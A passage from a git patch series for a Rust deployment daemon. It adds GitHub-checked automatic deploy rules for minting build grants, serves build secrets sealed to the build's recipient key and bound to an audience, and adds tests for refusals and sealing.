crate::network::PathBook, + /// GitHub as a test fixes it, in place of `api.github.com` and its issuer. + #[cfg(test)] + pub(crate) github: Option>, } impl MachineService { + /// Run every check of a rule build's grant against GitHub, or `None` when this daemon + /// cannot reach GitHub at all. + async fn admit_rule_grant( + &self, + grant: &ployz_core::RuleGrant, + holder: Option<&ployz_core::BuildGrantId>, + sealed: Option<&ployz_core::SealedRecord>, + ) -> Option> + { + let now = ployz_core::authority::Timestamp::now(); + #[cfg(test)] + if let Some(github) = &self.github { + return Some( + self.local + .admit_rule_grant(grant, holder, sealed, github.as_ref(), github.now(now)) + .await, + ); + } + let github = crate::machine::local_machine::rule_grant::GithubOnline::shared()?; + Some( + self.local + .admit_rule_grant(grant, holder, sealed, github, now) + .await, + ) + } + #[must_use] pub fn with_cluster( owner: RecordOwner, @@ -68,6 +97,8 @@ impl MachineService { grants: Arc::default(), endpoint_chooser: None, paths: crate::network::PathBook::default(), + #[cfg(test)] + github: None, published_routes: tokio::sync::watch::channel( crate::ingress::PublishedRoutes::default(), ) @@ -958,14 +989,36 @@ impl MachineRpc for MachineService { ) -> Result, Status> { let operator = from_operator(&request); let request = expect::(request)?; - // Refused before `Mint::check`, which opens the Sealed record to check it. - if operator - && let Err(error) = self - .local - .admit_operator_build(ployz_core::MINT_BUILD_GRANT_CAPABILITY) - { - return local_error(error); - } + // Refused before `Mint::check`, which opens the Sealed record to check it. A rule + // build's grant passes enforcement only once every check of its proof passed. + let admitted = match &request.rule { + None => { + if operator + && let Err(error) = self + .local + .admit_operator_build(ployz_core::MINT_BUILD_GRANT_CAPABILITY) + { + return local_error(error); + } + None + } + Some(grant) => { + let admitted = + self.admit_rule_grant(grant, request.holder.as_ref(), request.sealed.as_ref()); + let Some(admitted) = admitted.await else { + return respond(RpcError { + code: RpcErrorCode::Unavailable, + message: "This Server cannot reach GitHub to check a rule build".into(), + details: Value::Null, + cause: Vec::new(), + }); + }; + match admitted { + Ok(admitted) => Some(admitted), + Err(error) => return local_error(error), + } + } + }; let key_dir = self .containers() .ok() @@ -975,7 +1028,9 @@ impl MachineRpc for MachineService { } else { ployz_core::ManagementScope::Full }; - let mint = match crate::management::build_grant::Mint::check(request, key_dir) { + let mint = match crate::management::build_grant::Mint::check_admitted( + request, key_dir, admitted, + ) { Ok(mint) => mint.minted_by(scope), Err(refused) => return respond(refused), }; @@ -1194,6 +1249,12 @@ fn local_failure(error: LocalMachineError) -> Result { }), )), LocalMachineError::BuildRefused { capability } => Err(build_refused(&error, capability)), + LocalMachineError::RuleGrantRefused(_) + | LocalMachineError::RuleProofRefused(_) + | LocalMachineError::RuleHeadUnread(_) => Err(build_refused( + &error, + ployz_core::BUILD_GRANT_RULE_CAPABILITY, + )), LocalMachineError::EnforcementRefused(_) => Err(ployz_core::rpc::hinted_status( tonic::Code::PermissionDenied, &error, diff --git a/core/crates/ployzd/src/machine_api/local_tests.rs b/core/crates/ployzd/src/machine_api/local_tests.rs index 45bccfc39a..fffe948862 100644 --- a/core/crates/ployzd/src/machine_api/local_tests.rs +++ b/core/crates/ployzd/src/machine_api/local_tests.rs @@ -4918,6 +4918,70 @@ mod ensure_container { std::fs::remove_dir_all(data_dir).unwrap(); } + /// An Operator's mint under a rule: the rule's checks run before the record opens. + async fn mint_under_rule( + fixture: &Enforced, + record: &ployz_core::SealedRecord, + jti: &str, + ) -> Result { + use crate::machine::local_machine::rule_grant::tests as rule; + let machine = fixture.service.local.record().id(); + let signed = rule::rule_for(fixture.cluster, machine, &fixture.signer, record); + let token = rule::token_for(&rule::claim_for(fixture.cluster, &signed), jti); + let request = op::MintBuildGrant::into_request(ployz_core::MintBuildGrantRequest { + repository: ployz_core::BuildGrantRepository::parse("ployz-build/web").unwrap(), + holder: Some(rule::holder()), + sealed: Some(record.clone()), + rule: Some(rule::grant_for(&signed, &fixture.signer, token)), + }) + .encode() + .unwrap(); + Ok(fixture + .service + .mint_build_grant(as_operator(Request::new(request), true)) + .await? + .into_inner() + .decode_response() + .unwrap()) + } + + #[tokio::test] + #[expect(clippy::indexing_slicing, reason = "JSON fixture assertions")] + async fn a_rule_mint_refuses_a_moved_head_before_the_sealed_record_opens() { + use crate::machine::local_machine::rule_grant::tests as rule; + let mut fixture = enforced_sealing("ployzd-enforce-rule-mint").await; + let record = foreign_sealed(); + + fixture.service.github = Some(Arc::new(rule::github( + ployz_core::authority::CommitSha::from_bytes([9; 20]), + ))); + let status = mint_under_rule(&fixture, &record, "moved") + .await + .expect_err("a head that moved must be refused"); + assert_eq!( + status.code(), + Code::PermissionDenied, + "{}", + status.message() + ); + assert!( + status.message().contains("a commit"), + "{}", + status.message() + ); + let details = status_details(status.details()).unwrap(); + assert_eq!( + details["capability"], + json!(ployz_core::BUILD_GRANT_RULE_CAPABILITY) + ); + + // With the head where the token says, every check passes, the Operator's mint + // gets through enforcement, and only then does the record fail to open. + fixture.service.github = Some(Arc::new(rule::github(rule::commit()))); + opened_and_failed(&mint_under_rule(&fixture, &record, "at-head").await.unwrap()); + std::fs::remove_dir_all(&fixture.data_dir).unwrap(); + } + #[tokio::test] async fn an_operator_build_is_refused_under_enforcement_before_its_stream_is_read() { let fixture = enforced("ployzd-enforce-build").await; diff --git a/core/crates/ployzd/src/management/build_grant.rs b/core/crates/ployzd/src/management/build_grant.rs index 0007e0c4e3..923384a4ec 100644 --- a/core/crates/ployzd/src/management/build_grant.rs +++ b/core/crates/ployzd/src/management/build_grant.rs @@ -15,6 +15,10 @@ //! //! A grant minted for a holder can carry the built Service's Sealed values, still //! sealed. Its holder reads them opened from `GET /ployz/sealed` once, before the push. +//! A grant minted under an automatic deploy rule, after every check in `rule_grant`, +//! survives enforcement, and serves its values only HPKE-sealed from the Cluster's attest +//! key to the build's recipient key, bound to the grant's audience. It serves that even +//! with no Sealed values, so the builder can tell a Cluster Machine from any endpoint. use std::{ collections::HashMap, @@ -38,13 +42,14 @@ use iroh::{ use ployz_core::{ BUILD_GRANT_ENDED, BUILD_GRANT_REFUSED, BuildGrant, BuildGrantId, BuildGrantInspected, BuildGrantMinted, BuildGrantRepository, ImageDigest, ManagementIdentity, ManagementScope, - MintBuildGrantRequest, MintedKey, RETAINED_DIGEST_TAG_PREFIX, RpcError, RpcErrorCode, - SealedRecord, + MintBuildGrantRequest, MintedKey, OpenedSealed, RETAINED_DIGEST_TAG_PREFIX, RpcError, + RpcErrorCode, SealedRecord, authority::RecipientKey, }; use sha2::{Digest as _, Sha256}; use tokio::time::Instant; use tokio_util::sync::CancellationToken; +use crate::machine::local_machine::rule_grant::AdmittedRule; use crate::sealed_env::Unseal as _; /// How long a grant lives. Ployz Cloud mints it at @@ -67,9 +72,9 @@ pub struct BuildGrants { } struct Grant { - /// The scope of the caller that minted it. An Operator's grant opens nothing on a - /// Machine that enforces Device approval. - minted_by: ManagementScope, + /// Who minted it. An Operator's grant opens nothing on a Machine that enforces + /// Device approval. + minted_by: Minter, repository: BuildGrantRepository, ingest: SocketAddr, expires: Instant, @@ -78,17 +83,38 @@ struct Grant { sealed: Mutex, } +/// Who minted a grant. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +enum Minter { + Operator, + Full, + /// Any caller, under an automatic deploy rule this Machine checked. + Rule, +} + enum Sealing { None, - Sealed(Sealed), + Ready(Release), /// Its holder read them; nothing more is served. Served, } -/// A record this Machine opened at mint, kept sealed until its holder reads it. -struct Sealed { - record: SealedRecord, - key_dir: PathBuf, +/// How a grant releases its build's Sealed values, kept sealed until its holder reads +/// them. +enum Release { + /// Opened, to the holder over the grant connection. + Plain { + record: SealedRecord, + key_dir: PathBuf, + }, + /// Opened, then sealed from the attest key to a rule build's recipient. `None` holds + /// no values and still seals the empty set. + Attested { + record: Option, + key_dir: PathBuf, + recipient: RecipientKey, + audience: String, + }, } enum Push { @@ -103,8 +129,8 @@ enum Push { pub struct Mint { repository: BuildGrantRepository, key: Key, - sealed: Option, - minted_by: ManagementScope, + release: Option, + minted_by: Minter, } enum Key { @@ -122,6 +148,19 @@ impl Mint { /// `InvalidArgument` when the holder is not a public key or Sealed values have no /// holder; `Conflict` when this Machine has no Sealing Key or they don't open here. pub fn check(request: MintBuildGrantRequest, key_dir: Option<&Path>) -> Result { + Self::check_admitted(request, key_dir, None) + } + + /// [`Self::check`] for a request whose rule build `admitted` passed every + /// `rule_grant` check, which the caller ran first. + /// + /// # Errors + /// As [`Self::check`]. + pub(crate) fn check_admitted( + request: MintBuildGrantRequest, + key_dir: Option<&Path>, + admitted: Option, + ) -> Result { let key = match request.holder { None => Key::Made(SecretKey::generate()), Some(holder) => Key::Holder( @@ -137,43 +176,63 @@ impl Mint { })?, ), }; - let sealed = match request.sealed { - None => None, - Some(_) if matches!(key, Key::Made(_)) => { - return Err(refused( - RpcErrorCode::InvalidArgument, - "a Build Grant carrying Sealed values needs a holder".into(), - )); - } - Some(record) => { - let key_dir = key_dir.ok_or_else(|| { - refused( - RpcErrorCode::Conflict, - "this Machine has no Sealing Key to open the Build's Sealed values".into(), - ) - })?; - record - .open_for_build(Some(key_dir)) - .map_err(|error| refused(RpcErrorCode::Conflict, error.to_string()))?; - Some(Sealed { + if matches!(key, Key::Made(_)) && (request.sealed.is_some() || admitted.is_some()) { + return Err(refused( + RpcErrorCode::InvalidArgument, + "a Build Grant carrying Sealed values needs a holder".into(), + )); + } + let key_dir = || { + key_dir.ok_or_else(|| { + refused( + RpcErrorCode::Conflict, + "this Machine has no Sealing Key to open the Build's Sealed values".into(), + ) + }) + }; + if let Some(record) = &request.sealed { + record + .open_for_build(Some(key_dir()?)) + .map_err(|error| refused(RpcErrorCode::Conflict, error.to_string()))?; + } + let (release, minted_by) = match (admitted, request.sealed) { + (None, None) => (None, Minter::Operator), + (None, Some(record)) => ( + Some(Release::Plain { record, - key_dir: key_dir.to_owned(), - }) - } + key_dir: key_dir()?.to_owned(), + }), + Minter::Operator, + ), + (Some(admitted), record) => ( + Some(Release::Attested { + record, + key_dir: key_dir()?.to_owned(), + recipient: admitted.recipient, + audience: admitted.audience, + }), + Minter::Rule, + ), }; Ok(Mint { repository: request.repository, key, - sealed, - // Until the caller says otherwise, a grant counts as an Operator's. - minted_by: ManagementScope::Operator, + release, + // Until the caller says otherwise, a grant without a rule counts as an + // Operator's. + minted_by, }) } - /// Record the scope of the caller that asked for this grant. + /// Record the scope of the caller that asked for this grant. A rule grant stays one. #[must_use] pub fn minted_by(mut self, scope: ManagementScope) -> Self { - self.minted_by = scope; + if self.minted_by != Minter::Rule { + self.minted_by = match scope { + ManagementScope::Operator => Minter::Operator, + ManagementScope::Full => Minter::Full, + }; + } self } } @@ -205,7 +264,7 @@ impl BuildGrants { ingest, expires: Instant::now() + GRANT_LIFETIME, push: Mutex::new(Push::Open), - sealed: Mutex::new(mint.sealed.map_or(Sealing::None, Sealing::Sealed)), + sealed: Mutex::new(mint.release.map_or(Sealing::None, Sealing::Ready)), }); let mut grants = self.grants.lock().expect("grant registry lock"); grants.retain(|_, grant| grant.expires > Instant::now()); @@ -303,7 +362,7 @@ impl Grant { /// An Operator's grant is dead while this Machine enforces Device approval, however /// long ago it was minted: Cloud could have minted it for its own key. fn refused_by(&self, enforcing: &(dyn Fn() -> bool + Sync)) -> bool { - self.minted_by == ManagementScope::Operator && enforcing() + self.minted_by == Minter::Operator && enforcing() } fn pushed(&self) -> bool { @@ -535,7 +594,7 @@ fn sealed(grant: &Grant) -> Response { } let mut sealing = grant.sealed.lock().expect("grant sealed lock"); match std::mem::replace(&mut *sealing, Sealing::Served) { - Sealing::Sealed(sealed) => sealed, + Sealing::Ready(release) => release, Sealing::Served => { return denied( StatusCode::FORBIDDEN, @@ -551,16 +610,49 @@ fn sealed(grant: &Grant) -> Response { } } }; - match sealed.record.open_for_build(Some(&sealed.key_dir)) { - Ok(opened) => Response::builder() - .status(StatusCode::OK) - .header(header::CONTENT_TYPE, "application/json") - .header(header::CACHE_CONTROL, "no-store") - .body(Body::from( + let (body, content_type) = match release(sealed) { + Ok(released) => released, + Err(message) => return denied(StatusCode::PRECONDITION_FAILED, &message), + }; + Response::builder() + .status(StatusCode::OK) + .header(header::CONTENT_TYPE, content_type) + .header(header::CACHE_CONTROL, "no-store") + .body(Body::from(body)) + .expect("static response") +} + +/// The body a grant serves its holder, and its content type. +fn release(release: Release) -> Result<(Vec, &'static str), String> { + match release { + Release::Plain { record, key_dir } => { + let opened = record + .open_for_build(Some(&key_dir)) + .map_err(|error| error.to_string())?; + Ok(( serde_json::to_vec(&opened).expect("opened values encode"), + "application/json", )) - .expect("static response"), - Err(error) => denied(StatusCode::PRECONDITION_FAILED, &error.to_string()), + } + Release::Attested { + record, + key_dir, + recipient, + audience, + } => { + let opened = match record { + Some(record) => record + .open_for_build(Some(&key_dir)) + .map_err(|error| error.to_string())?, + None => OpenedSealed::new(Default::default(), Vec::new()), + }; + let attest = + crate::sealed_env::attest_key(Some(&key_dir)).map_err(|error| error.to_string())?; + let sealed = opened + .seal_for_build(&attest, &recipient, &audience) + .map_err(|error| error.to_string())?; + Ok((sealed, "application/octet-stream")) + } } } @@ -718,7 +810,7 @@ mod tests { ingest: live.ingest, expires: Instant::now(), push: Mutex::new(Push::Open), - sealed: Mutex::new(Sealing::Sealed(Sealed { + sealed: Mutex::new(Sealing::Ready(Release::Plain { record: sealed_request(&cluster).sealed.unwrap(), key_dir: cluster.dir.0.clone(), })), @@ -777,7 +869,7 @@ mod tests { assert_eq!(status, StatusCode::FORBIDDEN, "{body}"); assert!(!body.contains(MARKER), "{body}"); assert!( - matches!(*admitted.sealed.lock().unwrap(), Sealing::Sealed(_)), + matches!(*admitted.sealed.lock().unwrap(), Sealing::Ready(_)), "a refused request leaves the Sealed record unopened and unread" ); @@ -838,7 +930,7 @@ mod tests { let cluster = Cluster::new(); let elsewhere = Cluster::new(); let grant = sealed_grant(&cluster); - *grant.sealed.lock().unwrap() = Sealing::Sealed(Sealed { + *grant.sealed.lock().unwrap() = Sealing::Ready(Release::Plain { record: sealed_request(&cluster).sealed.unwrap(), key_dir: elsewhere.dir.0.clone(), }); @@ -1055,4 +1147,120 @@ mod tests { assert_eq!(route(method.clone(), &path, query), None, "{method} {path}"); } } + + mod rule { + //! A grant minted under a rule: it survives enforcement, and serves its values + //! sealed from the attest key to the build's recipient, bound to its audience. + + use ployz_core::X25519Secret; + + use super::*; + use crate::machine::local_machine::rule_grant::AdmittedRule; + + const AUDIENCE: &str = "ployz-build:rule-test"; + + fn rule_grant( + cluster: &Cluster, + record: Option, + recipient: &X25519Secret, + ) -> Arc { + let admitted = AdmittedRule { + recipient: recipient.recipient(), + audience: AUDIENCE.to_owned(), + rule: ployz_core::authority::RuleId::from_bytes([1; 16]), + generation: 1, + service: ployz_core::ServiceName::parse("web").unwrap(), + commit: ployz_core::authority::CommitSha::from_bytes([2; 20]), + }; + let request = MintBuildGrantRequest { + sealed: record, + ..request(Some(&hex::encode(holder().as_bytes()))) + }; + let mint = Mint::check_admitted(request, Some(&cluster.dir.0), Some(admitted)) + .unwrap() + .minted_by(ManagementScope::Operator); + let grants = BuildGrants::default(); + grants + .mint( + ManagementIdentity::from_bytes([7; 32]), + mint, + SocketAddr::from(([127, 0, 0, 1], 5000)), + ) + .unwrap(); + grants.admit(holder().as_bytes(), &|| true).unwrap() + } + + async fn body(response: Response) -> (StatusCode, Vec) { + let status = response.status(); + ( + status, + response + .into_body() + .collect() + .await + .unwrap() + .to_bytes() + .to_vec(), + ) + } + + fn attest(cluster: &Cluster) -> ployz_core::authority::AttestKey { + crate::sealed_env::attest_key(Some(&cluster.dir.0)) + .unwrap() + .attest() + } + + #[tokio::test] + async fn a_rule_grant_serves_its_values_sealed_only_to_its_build_under_enforcement() { + let cluster = Cluster::new(); + let recipient = X25519Secret::generate(); + let grant = rule_grant(&cluster, sealed_request(&cluster).sealed, &recipient); + let (status, sealed) = body(sealed(&grant)).await; + assert_eq!(status, StatusCode::OK); + assert!( + !sealed + .windows(MARKER.len()) + .any(|window| window == MARKER.as_bytes()), + "the response is ciphertext" + ); + let opened = + OpenedSealed::open_build(&sealed, &recipient, &attest(&cluster), AUDIENCE).unwrap(); + assert_eq!(opened.get("NPM_TOKEN"), Some(MARKER)); + assert!( + OpenedSealed::open_build(&sealed, &recipient, &attest(&Cluster::new()), AUDIENCE) + .is_err(), + "another Cluster's attest key opens nothing" + ); + assert!( + OpenedSealed::open_build(&sealed, &recipient, &attest(&cluster), "ployz-build:x") + .is_err(), + "another audience opens nothing" + ); + } + + #[tokio::test] + async fn a_rule_grant_without_secrets_still_proves_its_cluster() { + let cluster = Cluster::new(); + let recipient = X25519Secret::generate(); + let grant = rule_grant(&cluster, None, &recipient); + let (status, sealed) = body(sealed(&grant)).await; + assert_eq!(status, StatusCode::OK); + let opened = + OpenedSealed::open_build(&sealed, &recipient, &attest(&cluster), AUDIENCE).unwrap(); + assert!(opened.is_empty()); + } + + #[tokio::test] + async fn a_rule_grant_reaches_its_holder_through_enforcement() { + let cluster = Cluster::new(); + let grant = rule_grant(&cluster, None, &X25519Secret::generate()); + let request = Request::builder() + .method(Method::GET) + .uri("/ployz/sealed") + .body(http_body_util::Empty::::new()) + .unwrap(); + let response = handle(request, &grant, &reqwest::Client::new(), &|| true).await; + assert_eq!(response.status(), StatusCode::OK); + } + } } From e2f48820713e592193a4c3291b7d21ad951b4a77 Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 13:24:24 +0000 Subject: [PATCH 04/10] Build a push under a rule on the runner: its own keys, the rule's policy, secrets opened only from the attest key --- core/crates/ployz-build/src/lib.rs | 7 +- core/crates/ployz-build/src/tests.rs | 10 + core/crates/ployz-build/src/upload.rs | 1 + core/crates/ployz/src/build/local.rs | 10 +- core/crates/ployz/src/build/mod.rs | 27 +- core/crates/ployz/src/cluster_tests.rs | 4 + core/crates/ployz/src/connect/build_grant.rs | 28 +- core/crates/ployz/src/connect/test_support.rs | 3 + .../ployz/src/deploy/exec_tests/silent.rs | 2 + .../ployz/src/global_catch_up_rpc_tests.rs | 1 + core/crates/ployz/src/handlers/build.rs | 250 ++++++++++++- core/crates/ployz/src/handlers/build/rule.rs | 353 ++++++++++++++++++ .../ployz/src/handlers/build/rule_tests.rs | 231 ++++++++++++ .../crates/ployz/src/handlers/device_tests.rs | 2 + core/crates/ployz/src/handlers/recovery.rs | 1 + .../ployz/src/handlers/server/setup_tests.rs | 2 + core/crates/ployz/src/operator_tests.rs | 1 + core/crates/ployz/src/sealed_compat_tests.rs | 1 + core/crates/ployz/tests/cli_shape.rs | 1 + core/crates/ployz/tests/cloud_init/harness.rs | 1 + .../ployz/tests/connect/machine_storage.rs | 1 + core/crates/ployz/tests/connect/main.rs | 3 + core/crates/ployz/tests/connect/sdk.rs | 1 + .../crates/ployz/tests/connect/sdk_metrics.rs | 1 + .../crates/ployz/tests/connect/sdk_volumes.rs | 1 + core/crates/ployz/tests/connect/support.rs | 1 + .../ployz/tests/deploy_client/support.rs | 1 + 27 files changed, 924 insertions(+), 21 deletions(-) create mode 100644 core/crates/ployz/src/handlers/build/rule.rs create mode 100644 core/crates/ployz/src/handlers/build/rule_tests.rs diff --git a/core/crates/ployz-build/src/lib.rs b/core/crates/ployz-build/src/lib.rs index ea1db0f7d4..0b5bacf568 100644 --- a/core/crates/ployz-build/src/lib.rs +++ b/core/crates/ployz-build/src/lib.rs @@ -132,6 +132,8 @@ pub struct Request<'a> { pub pull: bool, /// Hide unreadable progress lines when this Build reads Sealed values. pub sealed: bool, + /// The GitHub Actions cache scope, in place of each target's own name. + pub cache_scope: Option<&'a str>, } /// One image to produce, named by the caller. @@ -707,11 +709,12 @@ fn bake_arguments( // cache export writes to it, so uploading cache never delays the image. if github_cache(request) { let bake = &planned.bake; + let scope = request.cache_scope.unwrap_or(bake); arguments.push("--set".to_owned()); - arguments.push(format!("{bake}.cache-from=type=gha,scope={bake}")); + arguments.push(format!("{bake}.cache-from=type=gha,scope={scope}")); if produce == Produce::Cache { arguments.push("--set".to_owned()); - arguments.push(format!("{bake}.cache-to=type=gha,scope={bake},mode=max")); + arguments.push(format!("{bake}.cache-to=type=gha,scope={scope},mode=max")); } } // Platforms travel in the captured Compose file, which upstream reads. diff --git a/core/crates/ployz-build/src/tests.rs b/core/crates/ployz-build/src/tests.rs index c6b58daec8..7ea69f624f 100644 --- a/core/crates/ployz-build/src/tests.rs +++ b/core/crates/ployz-build/src/tests.rs @@ -214,6 +214,7 @@ exit 0 no_cache: false, pull: false, sealed: false, + cache_scope: None, }; let admission = Admission::try_acquire_with(&HostPolicy { docker: program.clone(), @@ -300,6 +301,7 @@ exit 0 no_cache: false, pull: false, sealed: false, + cache_scope: None, }; let admission = Admission::try_acquire_with(&HostPolicy { docker: program.clone(), @@ -391,6 +393,7 @@ fn requested_output_selects_exclusive_bake_behavior() { no_cache: true, pull: false, sealed: false, + cache_scope: None, }; let validate = bake_arguments( @@ -566,6 +569,7 @@ esac no_cache: false, pull: false, sealed: false, + cache_scope: None, }; execute(&request, &Cancellation::new(), None, &|_| ()).unwrap(); std::fs::remove_dir_all(directory).unwrap(); @@ -625,6 +629,7 @@ fn docker_preflight_holds_quarantine_and_clears_confirmed_failures() { no_cache: false, pull: false, sealed: false, + cache_scope: None, }; for stop_at in ["context show", "buildx version"] { executable( @@ -720,6 +725,7 @@ exit 0 no_cache: false, pull: false, sealed: false, + cache_scope: None, }; let admission = Admission::try_acquire_with(&HostPolicy { state_directory: directory.clone(), @@ -783,6 +789,7 @@ exit 0 no_cache: false, pull: false, sealed: false, + cache_scope: None, }; let admission = Admission::try_acquire_with(&HostPolicy { state_directory: directory.clone(), @@ -853,6 +860,7 @@ fn a_cache_export_runs_nothing( no_cache: false, pull: false, sealed: false, + cache_scope: None, }; // Any Docker call would fail: this Docker does not exist. assert_eq!(export_cache(&request, &Cancellation::new(), None), Ok(())); @@ -890,6 +898,7 @@ fn railpack_prepares_a_python_requirements_app() { no_cache: false, pull: false, sealed: false, + cache_scope: None, }; let docker = Docker { program: Path::new("docker"), @@ -978,6 +987,7 @@ fn railpack_delivers_a_sealed_value_to_a_build_step_and_keeps_it_out_of_the_imag no_cache: false, pull: false, sealed: true, + cache_scope: None, }; let reported = std::sync::Mutex::new(String::new()); let progress = |progress: Progress| { diff --git a/core/crates/ployz-build/src/upload.rs b/core/crates/ployz-build/src/upload.rs index c3fd319f91..b4c3add9ee 100644 --- a/core/crates/ployz-build/src/upload.rs +++ b/core/crates/ployz-build/src/upload.rs @@ -381,6 +381,7 @@ impl CompletedUpload { no_cache: definition.no_cache, pull: definition.pull, sealed: !opened.is_empty(), + cache_scope: None, }, admission, progress, diff --git a/core/crates/ployz/src/build/local.rs b/core/crates/ployz/src/build/local.rs index 1b79180c61..1adab1ef46 100644 --- a/core/crates/ployz/src/build/local.rs +++ b/core/crates/ployz/src/build/local.rs @@ -124,8 +124,15 @@ impl CapturedBuild { path(&root.join("private/docker")), ), ]); + let (cache, cache_scope) = match &self.local_cache { + super::LocalCache::Runner => (true, None), + super::LocalCache::Pinned(scope) => (scope.is_some(), scope.as_deref()), + }; + // Only the cache service's own variables: the run's token credentials stay here. for name in ACTIONS_CACHE_VARIABLES { - if let Ok(value) = std::env::var(name) { + if let Ok(value) = std::env::var(name) + && cache + { environment.insert(name.to_owned(), value); } } @@ -148,6 +155,7 @@ impl CapturedBuild { no_cache: false, pull: false, sealed: self.opened.is_some(), + cache_scope, }; let images = execute(&request, scrub.as_ref()).map_err(build)?; Ok((captured, images)) diff --git a/core/crates/ployz/src/build/mod.rs b/core/crates/ployz/src/build/mod.rs index 7ea9f05a16..55f9d9ba90 100644 --- a/core/crates/ployz/src/build/mod.rs +++ b/core/crates/ployz/src/build/mod.rs @@ -123,6 +123,18 @@ pub struct CapturedBuild { targets: Vec, /// The Sealed values a runner fetched for this Build, held for every solve. opened: Option, + /// The GitHub Actions cache a local Build uses. + local_cache: LocalCache, +} + +/// The GitHub Actions cache a local Build may read and write. +#[derive(Clone, Debug, Default, Eq, PartialEq)] +pub(crate) enum LocalCache { + /// Whatever the runner exposes, each target in a scope of its own name. + #[default] + Runner, + /// A rule's: off, or one scope its policy names. + Pinned(Option), } struct CapturedTarget { @@ -163,7 +175,11 @@ pub fn capture( capture_target(service, spec, opened.as_ref()) }) .collect::>()?; - Ok(CapturedBuild { targets, opened }) + Ok(CapturedBuild { + targets, + opened, + local_cache: LocalCache::Runner, + }) } fn capture_target( @@ -299,6 +315,15 @@ struct CapturedRecipe { } impl CapturedBuild { + /// Build every target for exactly `platforms`, with the Actions cache in `scope` or + /// off without one: a rule's policy, not the runner's environment, decides both. + pub(crate) fn pin_local(&mut self, platforms: Vec, scope: Option) { + for target in &mut self.targets { + target.target.platforms.clone_from(&platforms); + } + self.local_cache = LocalCache::Pinned(scope); + } + /// Images still to produce, with the platforms each must carry. pub fn targets(&self) -> impl Iterator { self.targets.iter().map(|captured| &captured.target) diff --git a/core/crates/ployz/src/cluster_tests.rs b/core/crates/ployz/src/cluster_tests.rs index 6d52dbbc99..b0db63d9d7 100644 --- a/core/crates/ployz/src/cluster_tests.rs +++ b/core/crates/ployz/src/cluster_tests.rs @@ -212,6 +212,7 @@ async fn deploy_snapshot_waits_out_a_silent_machine_once_not_per_phase() { let response = match body { RpcRequestBody::DescribeContract(_) => { RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: answering.id, protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "fixture".into(), @@ -578,6 +579,7 @@ async fn a_redial_that_reaches_another_machine_is_refused_and_keeps_the_old_chan .await; let (other, _new) = crate::connect::test_support::rpc_client(|_| async { let described = ployz_core::RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: machine_id('b'), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "test".into(), @@ -646,6 +648,7 @@ async fn a_retry_redial_that_reaches_another_machine_moves_only_that_client() { .await; let (other, _new) = crate::connect::test_support::rpc_client(|_| async { let described = ployz_core::RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: machine_id('b'), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "test".into(), @@ -752,6 +755,7 @@ impl Resealing { held.notified().await; } ployz_core::RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: machine_id('a'), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "test".into(), diff --git a/core/crates/ployz/src/connect/build_grant.rs b/core/crates/ployz/src/connect/build_grant.rs index 7f7010593b..297467f8b1 100644 --- a/core/crates/ployz/src/connect/build_grant.rs +++ b/core/crates/ployz/src/connect/build_grant.rs @@ -9,6 +9,7 @@ use iroh::{ }; use ployz_core::{ BUILD_GRANT_ALPN, BUILD_GRANT_ENDED, BUILD_GRANT_REFUSED, BuildGrant, OpenedSealed, + X25519Secret, authority::AttestKey, }; use tokio::net::TcpListener; @@ -51,6 +52,31 @@ impl GrantRegistry { /// # Errors /// Reports the Machine's refusal or an unreadable answer. pub async fn sealed(&self) -> io::Result { + serde_json::from_slice(&self.fetch_sealed().await?).map_err(io::Error::other) + } + + /// The Sealed values of a rule build: sealed by the Machine to `recipient`, from the + /// Cluster's attest key `attest`, for the grant token's `audience`. Anything else, + /// such as plaintext or values another key sealed, opens nothing. + /// + /// # Errors + /// Reports the Machine's refusal, or a response that does not open. + pub async fn sealed_for_build( + &self, + recipient: &X25519Secret, + attest: &AttestKey, + audience: &str, + ) -> io::Result { + OpenedSealed::open_build(&self.fetch_sealed().await?, recipient, attest, audience).map_err( + |_| { + io::Error::other( + "the build secrets did not come from this Cluster's attest key; refusing to build", + ) + }, + ) + } + + async fn fetch_sealed(&self) -> io::Result> { let response = reqwest::Client::builder() .no_proxy() .build() @@ -60,7 +86,7 @@ impl GrantRegistry { .await .map_err(|error| self.refused(error.to_string()))?; if response.status().is_success() { - return response.json().await.map_err(io::Error::other); + return Ok(response.bytes().await.map_err(io::Error::other)?.to_vec()); } let status = response.status(); let body: serde_json::Value = response.json().await.unwrap_or_default(); diff --git a/core/crates/ployz/src/connect/test_support.rs b/core/crates/ployz/src/connect/test_support.rs index aae97ce089..26b01b019e 100644 --- a/core/crates/ployz/src/connect/test_support.rs +++ b/core/crates/ployz/src/connect/test_support.rs @@ -202,6 +202,7 @@ pub(crate) async fn confirming_channel() -> Channel { panic!("connect asks only for confirmation") }; let response = RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: ployz_core::MachineId::random(), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "fixture".into(), @@ -246,6 +247,7 @@ pub(crate) async fn sealed_channel( let body = request.into_inner().decode_request().unwrap().body; let response = if let RpcRequestBody::DescribeContract(_) = body { RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: id, protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "fixture".into(), @@ -413,6 +415,7 @@ where Fut: Future> + Send + 'static, { let contract = ployz_core::ContractDescription { + attest: None, machine_id: ployz_core::MachineId::random(), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "fixture".into(), diff --git a/core/crates/ployz/src/deploy/exec_tests/silent.rs b/core/crates/ployz/src/deploy/exec_tests/silent.rs index e9eec1a1c1..9fc401f28f 100644 --- a/core/crates/ployz/src/deploy/exec_tests/silent.rs +++ b/core/crates/ployz/src/deploy/exec_tests/silent.rs @@ -81,6 +81,7 @@ async fn destination_and_holder( )] let response = match rpc.into_inner().decode_request().unwrap().body { RpcRequestBody::DescribeContract(_) => RpcResponse::from(ContractDescription { + attest: None, machine_id: machine('1'), protocol_major: PROTOCOL_MAJOR, daemon_version: "fixture".into(), @@ -336,6 +337,7 @@ async fn live_and_second( )] let response = match rpc.into_inner().decode_request().unwrap().body { 